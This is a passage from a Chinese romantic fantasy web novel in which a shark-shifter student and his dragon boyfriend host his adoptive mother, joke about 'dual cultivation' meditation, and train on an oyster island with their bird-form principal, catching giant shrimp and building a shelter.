自保方面其实也不用太担心。我们青龙城不比朱雀城，蚊虫本来就相对较少，还会给配备专门的防御设备和异能武器。现在安保部门的响应速度应该是三分钟以内到达，实际大概坚持一分钟左右就行。” 沙肆觉得不是很放心：“那还是有一定危险性的。” 沙伍觉得没事：“我给沙妈妈的项链上的防御罩，对付一些低级变异生物，应该能坚持个半小时。” 蕾丝发带对于沙妈妈来说太花里胡哨了，他最后选择了项链。 沙肆整个人都像是被按了个暂停键：“这么厉害的吗？” “不厉害啊。要是中级变异生物的话，这种小首饰上的防御罩还是很脆弱的。”沙伍觉得问题不大，“一般像青龙城这样的老牌城市里不会出现中级变异生物，就算出现的话，我这儿还有好多晶核，给沙妈妈定做一些防御力更强的。” 沙妈妈感觉自己好像从来就没干过城市拓展工作，还在专门的培训学校里学习一样：“你哪来那么多晶核？” 养子财大气粗地让她陌生。 这不是她熟悉的异能菜鸟。 异能菜鸟都是很穷的。 沙伍理所当然：“我们学校不是有个海湾嘛，我天天去那里遛弯，顺手就抓点小海鲜~还有我们院长会带我们出去上课，经常去一些无人岛啊什么的。上次去的一个岛上面全是生蚝，最大的有这~么大，开出好多蚝珠。” 他怕沙妈妈担心花钱，把自己扫描进手环的一部分晶核打开给她看：“喏，这些都是我存的一部分，品相比较好的，可以拿来做首饰……做异能装备用。还有更多品相不好的，我都卖掉了。” 沙妈妈听了略微松了一口气。 姜纶说生物义肢有补贴，但一来没说能补贴多少，二来这种她听都没听说过的医疗项目，怎么想都不会便宜到哪里去。 她刚开始以为是姜纶出的钱。 别说沙伍和姜纶还只是处于恋爱期间，就算是他们两个结婚了，她也不想成为沙伍的负担，造成沙伍在这段感情关系中弱势，甚至是理亏的一方。 现在证明沙伍真的有能力支出这笔钱，沙妈妈觉得好多了：“等我装好义肢，换了新工作后，慢慢把钱还给你。” 等她恢复了一级异能战士的实力，哪怕最后考不上环卫编制，也能很容易找到待遇不错的工作。 沙伍想说不用，但看沙妈妈的眼神，只能说道：“那好叭。”到时候他让小少爷把价格改一下，又不是什么大事。 然后沙妈妈说：“我得省钱了。这边的酒店看上去就贵，明天我去换山下的酒店住。” 姜纶：“……沙妈妈，这里不是酒店。” “不是？” “对，这里算是我的别墅。”整个瑞云实验室都是属于他的产业，“您放心住。” 沙妈妈和沙肆都神情恍惚地被送回房间。 姜纶还不太理解：“她们怎么了？” 沙伍看没别人了，一下就跳到姜纶背上：“普通人被有钱人的生活突破想象力的正常反应。” 姜纶抄着沙伍的膝弯，不用小飞车，直接背着他往楼上走。 “二楼主要是客房，三楼是我爸妈和姐姐他们偶尔过来住，我们的私人区域在四楼。” 沙伍把脑袋搁在他的肩头，四处打量：“三楼的走廊都比二楼宽。哦，四楼的更宽。”他突然趴在姜纶的耳边坏笑，“我们家小龙是个胖宝宝，所以才要这么宽的走廊。” 姜纶被他笑声和说话声带出的吐息弄得耳根发痒，脊椎一阵酥麻：“你个越长越缩水的，还还好意思说我胖？” 沙伍想到自己的觉醒体现在只有4米了，眼看着又要3字开头，瞬间沮丧：“你别这样说，起码我的人形没掉体重。”他还悄咪咪长了1……0.1KG呢。 想想两个人的体型对比，沙伍开始忧心成年以后的某些事情。 这么一想，他突然感觉自己其实可以不用那么努力上进。 不不不，伍哥怎么能轻易认输？ 可是小鲨鱼再努力也长不到一座山那么高。 姜纶把沙伍往上掂了掂：“怎么了，突然一声不吭的？” 沙伍哼哼唧唧不想说话，埋头在姜纶脖颈边上吸气，越吸越不开心：“你身上的味道现在怎么这么寡淡，都不太好闻了。” 姜纶一声不吭，加快脚步，很快走到了卧室，把沙伍假意丢到自己的大床上：“嫌弃我？” 沙伍仰面朝天，左看看右看看，然后伸直手脚变成条状，开始无规律翻滚：“哈哈哈！这就是传说中的两万平米的大床吗？” 怎么翻身都不会掉下去，这也太爽了吧！ “比你宿舍的床都大！” 他原本觉得姜纶在宿舍床已经够离谱了，没想到姜纶家里……哦，不对，这里应该算是姜纶的病房？ 第49章 儿童房 爱情糊住了小鲨鱼的眼睛，只要想到他的钻石小少爷从小就住医院，他就心疼得不行，顿时收起玩闹的心思，滚到姜纶身边，把他拉下来一起平躺，再亲上一下两下三下安慰。 “原来这是你的病床。” “病床？”姜纶被小鲨鱼亲得很高兴，又不满，“小鸡啄米呢？” 沙伍挑眉，一个翻身直接把他压下：“那你说要不要亲？” “要！”姜纶想要更多，无奈小鲨鱼管杀不管埋，就很快乐又很痛苦。 他气势汹汹，最后也就亲两下解解馋，顺着沙伍的话题转移自己的注意力：“这张床不算病床，应该算是婴儿床。我小时候对力量几乎没法控制，经常是觉醒体的样子。我妈想着总不能让我睡地上，就做了个地台，上面定制了床垫。” “地台？不是床？” “本来是床，但是我觉醒体太重了，做床的材料不好找，做了三四个，很快都被我拆了。原先还有防止宝宝乱爬的围挡，都被我拆了。”姜纶轻描淡写说起自己的拆家往事。 沙伍眨眨眼睛，问他：“胖宝宝小时候几斤？” 姜纶感觉这是拿自己给小鲨鱼树立榜样的好时候，立马骄傲道：“我刚出生的时候还是很小的，我爸妈说我营养不良。后来我就长很快了，三岁的时候就有五米长，一吨重了。” “五米长，才一吨？”沙伍突然感觉自己还有希望。 他的目标是长到五米，体重两吨。 也许努努力能长到五米多？ 不不不，五米多得看天赋。 他又不是郑燕珺那条蓝鳍金枪鱼。 那姑娘天赋异禀的三米未成年，还有很大的成长空间。 海豚班长就不行了，三米已经快接近极限，将来要是没有什么特殊机遇，估计撑死也就和现在的体型差不多。 姜纶不满他的说法：“什么叫才一吨？我三岁的时候还很细，你看我现在有多粗！” “嗷，粗。”沙伍下意识视线往下瞟。 姜纶被他看得跟烫着似的，七手八脚从床上爬起来：“我洗澡去！” 沙伍换了个姿势趴在床上：“帮我洗澡~” 姜纶恶狠狠地瞪他，咬牙切齿：“不准闹！” 沙伍笑得极其嚣张：“哈哈哈！”一边笑还一边冲到姜纶身边，又往他身上跳，“看看你浴室。” 姜纶只能背着他在房间里到处转了一圈。 风格和宿舍差不多，全都是尺寸超标的家具，但没有太多摆设，就是一个超大号的房子。 浴室里的浴池极大，沙伍洗澡的时候变成小鲨鱼进去游了一小圈。 先洗完澡的姜纶等不到人，在浴室外面敲门：“小鲨鱼，在浴缸里睡着了？” “没。” 姜纶猜：“在玩？” “没。” 姜纶觉得小鲨鱼又在闹幺蛾子，盯着压根没关紧的浴室门做了一番心理斗争，把心一横，推开门往里面一看，浴池上面露着一截三角背鳍：“还说没在玩。” 能够容纳五米长小金龙的宝宝浴盆，四米长的小鲨鱼在里面也能游来游去，只是地方肯定不能和大海比。 姜纶想不通作为一条鲨鱼，这么小一个澡盆子有什么好玩的。 小鲨鱼看到姜纶过来，一个翻身露出肚皮，马上“噗噜”一声又翻了过来。 姜纶加快脚步：“怎么了？” 小鲨鱼用翅尖拍拍水：“磕到背鳍了。”他调整了一下姿势，横在浴缸边上，问，“看看有没有歪？” 姜纶知道他特别宝贝自己的背鳍，过去仔细检查：“没事。”叮嘱，“快点洗，早点睡。明天带着沙妈妈和四姐一起熟悉一下环境，有时间的话再去后土城转一圈，下午我们就得回学校。” “哦。”沙伍看姜纶出去了，很快就洗完澡出去，往大得离谱的床上一扑，“今天一大早起来都没去海里面游一圈。” 今天事情太多了，刚起来就去做例行体检，完了就赶火车，接着又是抓小偷，又是转战后土城的。 姜纶把沙伍抱到身边，盖好被子：“下个礼拜我看有没有空，带你去看看我看上的海岛。那边环境好，出门就能下海游泳。” 沙伍身体累了，脑子还有些兴奋：“上次你给我指海岛的位置不是挺远的？要不你带我去新宿舍那边，教我玩飞板？” “好。”姜纶觉得这个可以有，“冥想吗？” 沙伍一听，突然嘿嘿一声：“我们一起冥想，算是双修吗？” 已经很努力抛却心中杂念的姜纶差点没绷住，抬手就往他屁股上一拍：“闭嘴！” “冥想冥想冥想！”沙伍马上进入冥想状态。 也不知道是他乱说的，还是真的有双修这回事情，他这次在开始内视后，能够清晰地感觉到从姜纶那里传递来的能量。 和鸭老师的温和不一样，姜纶的能量更加……滋补？ 他大概是知道自己吞噬了一点鸭老师的异能，但就和他吞噬别的异能差不多，他得把吞噬来的异能进行转化后，才能变成自己的。 转化率低得可怕。 姜纶的异能就不一样了，明明和自己的异能不一样，但拿过来能直接用。 虽然不管是吞噬也好，转化也好，他的控制力都很有限。 他尝试着捕捉到一点姜纶的异能，跟着记忆中往一个小漩涡的点堵上去，缺了鸭老师异能勾勒的星河，他自己根本就找不到小漩涡的位置，只能瞎捣鼓。 姜纶的异能像是很小很小的小星星，但明显比他的异能要凝实得多，应该比他自己的异能更好用？ 亮晶晶的小星星应该是放偏了，停在那里，被小星系运转带走能量，一点点变暗。 沙伍又找到一颗小星星放过去，还是没放对位置。 沙伍忙忙碌碌，差不多在自己的星河上贴了个狗皮膏药，才算是找对位置。 “嘶——”沙伍一个激灵，醒了过来。 姜纶早就已经洗漱完了，衣服都快换完了：“醒了？还想晚点叫你的。” 自家小鲨鱼学习勤奋刻苦，天天从早学到晚，难得早上能睡个懒觉，他想让沙伍多睡一会儿。 沙伍感觉又累又精神的，下意识伸手让姜纶把他抱起来，扒拉他没扣上的衬衫，张嘴就想咬：“我跟你说呀~” 姜纶立马把人重新放回床上：“你说就说，动嘴干嘛？” 沙伍像个牛皮糖似的，被放下去又黏糊到姜纶身上，开开心心地跟他说双修的事情。 姜纶听得脑子里歪七扭八，在正经和想歪之间不断摇摆，最后努力保持严肃：“这是不错的发现，一会儿可以跟医生们说一下。” 沙伍穿上拖鞋，飞快去洗漱换衣服，出门前问姜纶：“你冥想的时候没有从我身上得到什么能量吗？” 姜纶脸红：“没注意到，就知道抱着你睡，特别安心。” 从他出生起，他体内的异能就时刻像是被狂风巨浪充斥的大海，但是在沙伍身边，他很容易就平静下来。 这样的变化应该是他得到了什么，但似乎和一般意义上的能量不太一样。 沙伍若有所思：“那你这样，不是被我单方面采补了吗？” 采……补？！ 姜纶给沙伍整理衣服的手一顿：“你不是一直没日没夜学习吗？怎么有空看这些乱七八糟的东西？上哪儿看到的？” 沙伍很正经地说道：“咦？我选修了一门影视艺术修养的课，还是院长建议我选修的。他说异能运用和修炼的时候，需要一些想象力，让我培养培养。这次的课程就是让我们找资料学习一下影视作品里的修炼，我看了一些修真剧，报告都写了好几份了。” 这课程哪儿都好，就是作业量大，怪不得没什么人选修。 姜纶感觉自己作为下一任青龙学院的院长，不该天天逃课，要参与到学院的管理工作中去，对于课程中的相关内容，得进行必要的审核。 “双修”的事情是个新发现，两人趁着空腹先去做了个双人的体检。 今天沙肆就得回去泉城，沙伍和姜纶也得回去学校。 上午在后土城大致逛了一圈，沙妈妈依依不舍地把他们送走。 管家把沙妈妈接到飞车上，劝慰：“不用担心孩子们。他们大了，以后只会越来越好。” “我知道的。”她不放心孩子们，也不放心自己。 作为母亲，她当然希望孩子们的对象，各方面条件都好一点，这样结婚之后可以少发愁；但其实也不希望孩子们和对象之间的差距太大。 门不当户不对的，话都可能说不到一起去。 原本她以为她的养子女们会有这个问题的应该是沙肆。 毕竟沙肆从小就长得好看，又是从事模特儿行业，认识有钱人的机会多。 但是她的养女现在已经开始拍摄男装，她的养子反倒是要“嫁入豪门”？ 现在她还一个人住在养子对象的豪宅…… 沙妈妈的飞车还没到家，沙伍的视频已经打了过来：“沙妈妈，我给你发了一些首饰的款式，你看看喜欢什么样的。我明天去旁听异能武器制造课，到时候我给您做呀~” 听着养子黏黏糊糊的撒娇，沙妈妈顿时什么都忘了，只觉得没了生存压力的养子怎么看怎么可爱：“好呀~我们家小伍最厉害了~” “那~是。”沙伍骄傲，“您就等着吧，到时候您的异能武器多到用不完，出门一身神装……” “你又看什么乱七八糟的东西了？”姜纶在边上打断他。 沙伍无辜：“看你打游戏了。” 钻石小少爷出门就是一身金光闪闪的神装，他早就羡慕很久了。 让他花大价钱在游戏里氪金舍不得，但是现实中搞这么一套神装可以有。 姜纶被噎住：“你专心学习。” “切~”沙伍根本不搭理他。 一个天天逃课的，有什么资格说他学习不专心。 沙妈妈看他们斗嘴，感觉倒是不那么束手束脚了。 正好他们已经到了机场，就顺势结束了通话。 私人飞机先把沙肆送到了泉城机场，再从泉城前往青龙学院。 他们回到宿舍的时候，已经不早了。 沙伍兴冲冲拉着姜纶回房：“来，双修！” “好好说话！”姜纶涨红着脸，忿忿，“小心我忍不住，真把你吃了。” 沙伍很意外：“我只是嘴上说说，你也会胡思乱想？” 姜纶把他丢到教室，把门一关：“我去叫老师过来。” 随便什么老师都好，收了这个鲨鱼精！ 沙伍为自己的嘴贱付出了两个小时课程和一个小时作业的惨痛代价，但是一点没妨碍他到姜纶房间偷袭。 姜纶听到密道里的脚步声，赶紧把游戏关掉，手环摘下来丢床头柜。 他刚才还算着时间，要是沙伍再不过来，他就上去鬼压床。 沙伍进门都没开灯，熟门熟路往床上一躺，往被窝里一钻，蛄蛹到姜纶身边，手一揽，脚一搭，小声问：“睡着了？” 姜纶弯了弯嘴角，不吱声。 沙伍脑袋挨到姜纶颈窝边，吸了一口气，小小声说道：“小龙晚安。” 姜纶本来还想逗逗小鲨鱼，被他这么一说，突然就真的放松下来。 假装闭上的眼皮变沉，慢慢的，似乎整个人在轻轻摇晃。 耳边有水声，是海浪追逐着海浪。 他觉得大海空荡荡的，应该有更多的东西。 海上有平原山川，海底有山脉。 天空中应该有鸟盘旋，海中应该有鱼巡游。 头顶有满天星辰，脚底有炽热熔岩。 金色的巨龙天上水下遨游，玩累了就紧紧挨着自己的小伙伴休憩。 卧室中的屏蔽器自动开启。 半冥想半睡眠中的小鲨鱼只觉得在深海中穿梭，金色的流水连接他的星辰，铺陈出一条宽阔的河流。 天空中各色星辰闪耀，把水面映射得波光粼粼。 昨天晚上难以寻找的小漩涡，直接被河流覆盖。 它们偷走的能量变得微乎其微。 河流丰沛的流水将所有星辰都纳入自己的流域，渐渐勾勒出星河真正的模样。 “嗝。”沙伍打了个饱嗝，醒了过来，感觉自己还泡在温暖的洋流里，整条鱼都在跟着摆动，翅尖都用不着自己动。 姜纶也跟着迷迷糊糊醒过来：“小鲨鱼早~今天怎么还没起床，不会迟到了吧？” 平时都是沙伍起床，顺带把他带起来的。 想当年他还是一个有着凌晨起床去钓鱼习惯的人，现在只想抱着心爱的小鲨鱼在床上天荒地老。 沙伍原本下意识团了团被子想继续睡，脑子里缓冲了三秒钟，解析了姜纶的话：“卧槽！迟到了！” 他慌里慌张要往楼上房间跑，同时用手环联系阿大帮他打包好早饭，一看手环更加坏菜：“怎么手环没信号！”手环没有信号，上面的时间还是准确的，清清楚楚显示已经11点。 一定是手环坏了！ 明明他买的是最新款防污染的，这才用了几个月？ 沙伍直接跪倒在地毯上：“丸辣，彻底丸辣……算了，事已至此，再睡一会儿吧。” 反正上午的课肯定都赶不上了，到时候看看能不能让小少爷帮忙开个病假条。 沙伍慢吞吞地重新爬回床上，闭上眼睛，不愿意面对现实。 姜纶的手环还能用，联系了梁伯：“梁伯，帮我把屏蔽器关了。你今天有空检查一下，怎么好端端的屏蔽器自己开了。” 梁伯就等在房门外。 姜纶的话还没讲完，屏蔽器就关了。 沙伍刚钻进被窝，就见一堆人全副武装冲进来，有几个还飞起来，吓得眼睛瞪圆。 他跟自己男朋友睡一屋，没犯天条吧？ 怎么搞得像捉奸一样？ 还是他逃课属于十恶不赦？ 不至于吧？ 这是他这辈子第一次逃课，顶多算是近墨者黑。 姜纶靠坐在床头，把明显受到惊吓的小鲨鱼轻轻拍了拍：“你们干嘛？小风，你脑袋都快戳到天花板了。” “哦。”小风落到地上。 梁伯仔细打量他们，让两名家庭医生过去检查，确定没问题才彻底放下心：“你们昨天晚上搞什么呢？” 要不是夜鹭在，让他们不用管，他们昨天晚上就进来把这两臭小子给收拾了。 虽然万一真的是姜纶暴走，谁收拾谁还不一定。 或者说，大概率是姜纶收拾他们。 不管，一个晚上没睡的怨气都要把气场给撑起来！ 姜纶打了个哈欠，看着时间还觉得不可思议：“没干什么啊？就普普通通一起睡。” 沙伍从被子里悄咪咪补充：“双修。” 姜纶差点被口水呛死：“咳咳咳！乱说什么呢？” “真的，我超强……啊！院长——”伍哥还没来得及展示一下他的最新实力，就被突然出现的夜鹭抓着带走。 姜纶飞快追到窗口，被夜鹭一起带走。 “走，院长带你们去上私教课。”夜鹭给了沙伍一点时间，让他把自己和姜纶一起装进鲨鱼泡泡里，然后闪电般消失在空中。 沙伍用异能凝聚出一些清水，和姜纶一起将就着简单洗漱，问夜鹭：“院长院长，我们去挖生蚝吗？” 上次那个生蚝岛上，他挖掉的生蚝不知道有没有百分之一，得把大个的生蚝撬走，才能给剩下的小生蚝更大的生存空间。 怎么说来着？ 对，疏果。 生蚝也是一个道理。 夜鹭一听，还真就带他们去了生蚝岛。 和上次不同的是，这一次姜纶留在岛上撬生蚝，沙伍去海里面抓虾。 沙伍这次学乖了，把睡衣睡裤脱了放泡泡里，丢在岛上，才跳进海里变成鲨鱼。 “哟嚯！” 小鲨鱼一个猛子扎下去，又蹿上了天，在空中旋转了720度，才重新坠入大海，比海豚还欢脱。 姜纶待在生蚝岛上，想学沙伍把衣服都给脱了，看到夜鹭在，还是没能放下脸，只是脱了上衣，一起放进泡泡里，卷起裤腿，光脚踩在如刀锋般的生蚝壳上，试着徒手掰了一下。 生蚝带着礁石一起翻滚到海里。 姜纶看了看自己白皙的手，眉头微皱：“这玩意儿太轻了。” 夜鹭在一旁静静看着他，看着他，看着……一翅膀扇了过去：“这是异能课！异能课！让你用异能，没让你用蛮力！” 姜纶看着一堆没什么攻击力的生蚝，满脸不解：“几个贝壳，还得用异能？” 夜鹭只能忍着暴脾气，耐心教导：“10%异能，作用在手上，精细控制自己的力气，把生蚝‘完整’地从礁石上撬下来。” 要求还真多。 姜纶试着控制释放自己的异能，感应了一下沙伍已经游出去很远，才略微放开一点手脚。 手上很快浮现一层金色的鳞片，然后鳞片一路漫过手腕、手肘，爬到上臂才算停止。 姜纶动了动手指，手指的结构发生变异，变成了一只像猛禽一样的爪子，上面的鳞片更加坚韧。 做完这一切，他的额头已经微微冒汗。 夜鹭歪头，两根饰羽垂到一边：“你就不能只释放自己的爪子吗？” 姜纶回答得干脆：“不能。” 说着，他试着用爪子把生蚝从岩石上抠下来。 不费吹灰之力，生蚝一下就抓烂了。 夜鹭眼疾手快，把生蚝肉叼出来吃掉，噗噜噜吐出一堆歪七扭八的蚝珠，从边上叨下一个完整的蚝壳，把蚝珠放进去，再放进鲨鱼泡泡里：“运气不错，大丰收。” 姜纶看了看：“没一个长得好看的。”他突然有了新思路，“下次我们去抓珍珠蚌，它们肯定跑不过我。我想给小鲨鱼做一套漂亮一点的珍珠。”关键是他亲自抓到的。 夜鹭冷淡：“哦，你去啊。真以为在海里，你就可以无法无天了是吧？” “当然没有。”姜纶赶紧否认，起码眼前这只阴暗红眼小水鸡他就打不过。 等他再练练，练到能够无所顾忌释放异能后，跟夜鹭也不是不能打。 “别想些有的没的。你不会连一个完整的生蚝都撬不下来吧？” 姜纶嘴角一抽：“你有空，不如去看着小鲨鱼。” 夜鹭拍拍翅膀，甩掉被海浪拍到身上的海水：“周围一片我都清理过了，没什么危险。沙伍比你可省心多了，没什么好看的。” 姜纶又抠烂了一个生蚝，听着夜鹭带着点小骄傲的语气，不理解：“夜老师怎么这么喜欢小鲨鱼？” “没你喜欢。”夜鹭习惯性怼了一句，见他新抠下来的生蚝还算完整，一嘴下去叨开，把肥美的生蚝肉一口闷完，才正正经经回答，“谁不喜欢又聪明又听话……又调皮捣蛋的小孩儿？他的心性很好。” 明明从小到大，沙伍接受到的恶意其实非常多，但对给予他善意的人，依旧能够回报以真诚。 这很难得。 姜纶抠了几个生蚝，慢慢琢磨出一点感觉来，控制着自己的异能变成薄刃，把生蚝从礁石上剥离：“嗯？我以为你会说小鲨鱼悟性高。” 礁石上层层叠叠的生蚝，就像是黏在一起的一叠纸，想要完整撕下来，再怎么小心翼翼都不为过，还得掌握一定的技巧。 “他悟性确实高，学什么都是一点就通。难得的是，他还很踏实，有点像潘晨星。”夜鹭提起他的鲛人学生，叹气，“可惜小潘的天赋稍微差了点。” 异能薄刃不够长，生蚝还是裂开了。 姜纶精挑细选了一个小一点的目标：“八级以下看努力，八级以上看天赋？” 夜鹭一口吞下是它好几倍大的生蚝，一声不吭。 姜纶埋头抠生蚝，熟练度上来之后，动作流畅了许多，生蚝也渐渐变得完整：“整个的你别吃，回头让小鲨鱼开珠子玩。” 夜鹭一缩脖子，一脚踢开一只完整的生蚝：“切，我也吃饱了，留着肚子等虾。” 姜纶看了看远处的大海，感觉到小鲨鱼在飞快返航，手上的鳞片瞬间褪去，重新变回人类的手臂，从海中勾起一道水浪卷着剥下来的生蚝到岛上，人也跟着走过去，突然问了一句：“老师，九级以上是什么？” 第50章 送花 夜鹭没有回答，张开翅膀掠过小鲨鱼，从他背后抓起一只十来米长的大虾。 粉红色的大虾被夜鹭一爪子抓爆了脑壳，很快就变成了鲜甜的午餐。 剥掉虾壳，去掉虾线，横切成虾排。 每一片都有五厘米厚，最小的地方都有超过一平方米，中间的肉段差不多一张单人床大小。 完全不用烹饪，直接吃就是鲜甜的口感，肉质弹牙。 “这个好好吃！” “怎么这么好吃！” “我从来没吃过这么好吃的虾！” 沙伍本来就特别喜欢吃虾，这一下更是幸福得眼睛都眯了起来，盘腿坐在地上，身体都跟着左摇右摆。 虾排放在巨大的蚝壳盘子里，沙伍吃得已经忘乎所以，完全忘记了被大虾追杀的紧张刺激。 夜鹭也很满意：“果然只有到这种地方，才能有点好东西。小伍一会儿再接再厉。” 沙伍瞬间警惕：“再接再厉什么？当鱼饵吗？” 姜纶也很不满：“你说把危险都排除了，结果还留了个这？”大虾确实好吃，“你别说你不知道。” 夜鹭不以为意：“这么庞大的虾群里，肯定会有那么一只两只高级变异。我这不是看着？不会有危险的。” “那你怎么不自己去抓？”万一他的小鲨鱼受伤了怎么办？ 夜鹭张嘴吞下一片虾排，巨大的虾排在它喉咙里撑开一个小小的圆弧。 他往边上跳开，避开沙伍造次的手：“作为一只鸟，不想下水很正常。” 没摸到夜鹭的脖子，沙伍遗憾地收回手：“作为一条鱼，不想当鱼饵很正常。” 夜鹭斜睨他一眼：“等你打得过我再说。”他看看姜纶，“等姜纶打得过我的时候也行。” 沙伍感觉自己首先就打不过夜鹭的深渊巨口，干脆跳过这个话题：“院长，我们是不是要在这里待几天？” “嗯。”这个地方远离人烟，是个训练的好地方。 “以后是不是会常来？” “嗯。”秋冬季节海货肥美，肯定要常来。 沙伍眼里有活：“那下午我们在岛上盖个庇护所吧。起码放几身换洗衣服，再准备点洗漱用品。”不然回去又得找章医生借病号服。 夜鹭一想，觉得这倒不是个太不合理的需求。 野外生存，不是让学生们当野生动物。 夜鹭快速把剩下的虾排吃完：“那你们下午建庇护所，我回去给你们拿行李。” “等等等！”沙伍一把抓住要飞走的夜鹭，“院长帮我请假。” 夜鹭伸脚踢开学生的爪子：“你上午无故旷课半天。” “我抓了虾排。” “你无故旷课。” “虾排好吃。” “你无故旷课。” “虾群里还有大虾排。” “成交。”夜鹭很快就飞走了。 姜纶感到不可思议：“你还能跟夜老师讨价还价？” “院长一直很好说话。”上院长的私教课也最开心。 姜纶心想那绝世凶兽哪里好说话，但想想沙伍天天给夜鹭弄双马尾造型，觉得小鲨鱼这么觉得确实没问题，毕竟连薛春种的月季都喜欢小鲨鱼。 “我们去盖房子吧~你喜欢什么样的？”他原先骗沙伍自己是水系和木系，但实际上是水系和土系，“我可以盖个土坯房。” 沙伍第二次到生蚝岛，一直待在礁石区，想着岛上的生态，脸一皱：“我不要住鸟屎上。” 岛上全是鸟屎。 生蚝岛不算小，岛上有难得的淡水和植被，是候鸟迁徙的重要落脚点之一。 现在生蚝岛上有恶霸小少爷和恶霸院长，鸟群只敢苟在岛的另外一侧和附近的其它几个很小的岛礁上，居住密度瞬间提升。 留给他们的这一侧海岛上，有些鸟屎能有几十厘米厚。 园艺人姜纶：“我拿去堆肥，开块菜地。” 沙伍只要眼不见为净。 姜纶还真的用土系异能贴着地表，卷起一层“黄土”，所过之处鸟屎干干净净，露出斑秃的地表。 沙伍看着可怜巴巴又十分顽强的杂草和苔藓，问：“需要浇水吗？” 姜纶通过土系异能观察了一下：“它们不缺水，不过你用异能净化一下……不是用异能小鲨鱼炸掉，用泡泡把它们罩进去就好。” 小鲨鱼的泡泡自带净化，虽然净化能力不是很强，但对于这些本来就污染程度不高的植物已经够用了。 “好的。”沙伍立刻用好几个泡泡覆盖住姜纶清理过的地面，“这样净化感觉净化不干净啊，能有用吗？” “有用的。这种方式比较温和。” “那我以后睡觉的时候，把你也给罩进泡泡里。”沙伍很自然地说道。 姜纶诧异回头：“你现在能做到睡着的时候也维持异能？” 他突然想起来放衣服的泡泡，现在是被沙伍拿在手上，刚才沙伍游出去都多远了，泡泡竟然完好无损。 他和夜鹭还往泡泡里放东西。 沙伍没觉得有哪里不对：“没试过，不过应该能吧。”他突然笑出声，“嗨呀~我要是时时刻刻把自己罩在泡泡里，是不是就永远不会产生污染了？哦，不对。你说过的，净化其实也是一种污染。” 姜纶现在也搞不懂沙伍的情况了，走到一块地势较高且开阔的地方停下脚步：“这里怎么样？” 沙伍完全不懂得建造庇护所需要注意什么：“你觉得行就行。我要做什么？” “暂时不用。你在边上学习？” 这地方手环没有信号，但是已经下载的内容还是可以看的。 好不容易出一趟远门，沙伍不想对着光屏努力：“我去抓鱼！你晚上想吃什么？” “都可以。你别游太远！”姜纶看他撒丫子就往海边冲，提醒了一句。 “噢——”沙伍回答的声音已经很远了。 姜纶满脸都是笑意，看着他冲进海里，很快就像海豚一样在海面上来回跳跃，绕着海岛跳一圈。 已经躲在岛上阴暗角落的海鸟们目露凶光，在小鲨鱼第二圈蹦跶过来的时候，“啊啊啊”地冲过去轰炸。 金木土火、风雨雷电，齐上阵。 小鲨鱼很快就老实钻进海底。 姜纶针对性释放出一丝气息。 一群海鸟顿时嘎嘎乱叫着飞远，过了好一会儿才战战兢兢回来。 留在岛上的姜纶估摸了一下庇护所的大小，先剥掉一层鸟屎，再剥开一层植被，分开放好之后，用异能平整地面，再用土系异能凭空造土。 海岛常年风吹雨淋，岩石上的土层很薄，无法支撑他用来建造房屋。 用异能制造泥土，需要消耗的异能相对操纵泥土要多出近十倍。 不过这点消耗对姜纶来说不算什么。 他打开手环，看着一份份设计图，上面是现在住的宿舍的图纸，新宿舍的图纸，一些城市的房产的图纸，未来战斗小队的海岛基地图纸，以及更多的草案和效果图。 每一份图纸都结构、用料复杂，不适合当下条件。 他挑挑拣拣，最后只能发挥自己的想象力，先是用纯土坯一顿捏，又拆了混合岩石和蚝壳。 房子从方的变成圆的，再变成锥形的。 等夜鹭回来的时候，就看到生蚝岛上多了个土包。 在大灾变前出生的老派夜鹭恨不得一脚抓烂：“你这是在干嘛？忙活了半天搞个坟包，想要提前入土为安吗？” “啊？”已经开始装饰外墙的姜纶整个都愣住了，“坟……我只想着尽量和周围的环境相融合，看上去不那么突兀。” 夜鹭没忍住，几脚踩烂土坯房：“为什么要和环境融合？我们这实力跟环境融合来干嘛？” 就算海里面确实有一些不好招惹的，但那又有什么关系？ 他们难道就好招惹了？ 就算真对上了，了不起就是损失一个土坯房。 姜纶觉得有道理：“那就盖个正常的小房子。” “哦，那你忙吧。”夜鹭往边上一坐，把带过来的行李往鲨鱼泡泡里一塞，又从里面把装了蚝珠的生蚝壳拖出来，开始仔细分拣。 圆圆的蚝珠给沙伍做首饰，不规整的他拿去给实验室。 别说，这些小珠子还真挺好看的。 姜纶重新修整好地基，感觉夜鹭在边上格外安静，忍不住靠近看看，见他小小一只站在蚝壳边边，歪着脑袋对着两堆蚝珠发呆，总觉得没想什么好事。 他刚想假装没来过走开，就见夜鹭的脑袋往自己这边歪过来，下意识叫了一声：“夜老师。” 夜鹭很正常地跟他说了一句：“房子造完了？愣着干嘛？不是不想露天睡觉吗？” “哦。”姜纶感觉夜鹭的表现过于正常，反而有些不正常。 姜纶本来还提防着夜鹭脑幺蛾子，等投入到建房事业中后，就完全忘记了还有夜鹭在，只记得给夜鹭留个房间。 原本被卷到一旁的植被被重新按到外面的地上，异能形成的土层更厚，还有矮墙阻挡海风。 姜纶还扯了个泡泡罩住，一方面净化污染，一方面防风，给这些弱小但坚韧的植物足够扎根的时间。 然后他想起来夜鹭了：“夜老师，借个火！” 夜鹭双脚朝天，躺在蚝壳里，身上盖满了蚝珠，睡得不知天地为何物。 “算了。”姜纶决定还是等沙伍回来，看看有没有火系晶核靠谱一点。 他操纵水系和土系异能都不稳定，转而用火系异能的话，一个不好真就不把刚造好的土坯房给烧了。 他去看看给房子里添点家具，总不能有了房子还睡地上。 起码得搞张床。 起码得搞张桌子。 起码得有三把椅子。 起码得有个卫生间…… 岛上的资源实在是少，姜纶磕磕绊绊用能够找到的材料加上异能，制作各种物品。 他从小就是生活在各种又耐用又漂亮的环境中，对东西的质量和外观有着极高的要求。 沙伍抓着一泡泡虾和一泡泡鱼回来的时候，姜纶正在给地面贴…… “这是什么？”白白的亮晶晶的，还有彩色的光泽，挺好看的。 “蚝壳。”姜纶给他指了指厨房的位置，“先放外面的池子里，我贴个地砖就好。” 沙伍把两个泡泡放在外面的大池子里，回来看姜纶把麻麻赖赖的蚝壳一层层剥开，去掉外面暗沉的那一层后，又把蚝壳压成平整的一片。 姜纶已经把前置工作都差不多做完了，一片片的带着珠光的蚝壳堆了一地，算了算应该够用，抬手就让蚝壳砖铺满，连接的缝隙处“长”起来，融合成没有接缝的一整块。 地上铺满，墙面上也铺满，土坯的桌椅板凳柜子也铺满。 看他搓蚝壳砖的熟练度，完全看不出他几个小时前还没法撬下一个完整的蚝壳。 “喔~”沙伍赞叹：“一下就亮了。刚才我看外面的时候，还以为是个你那边农田的仓库。” 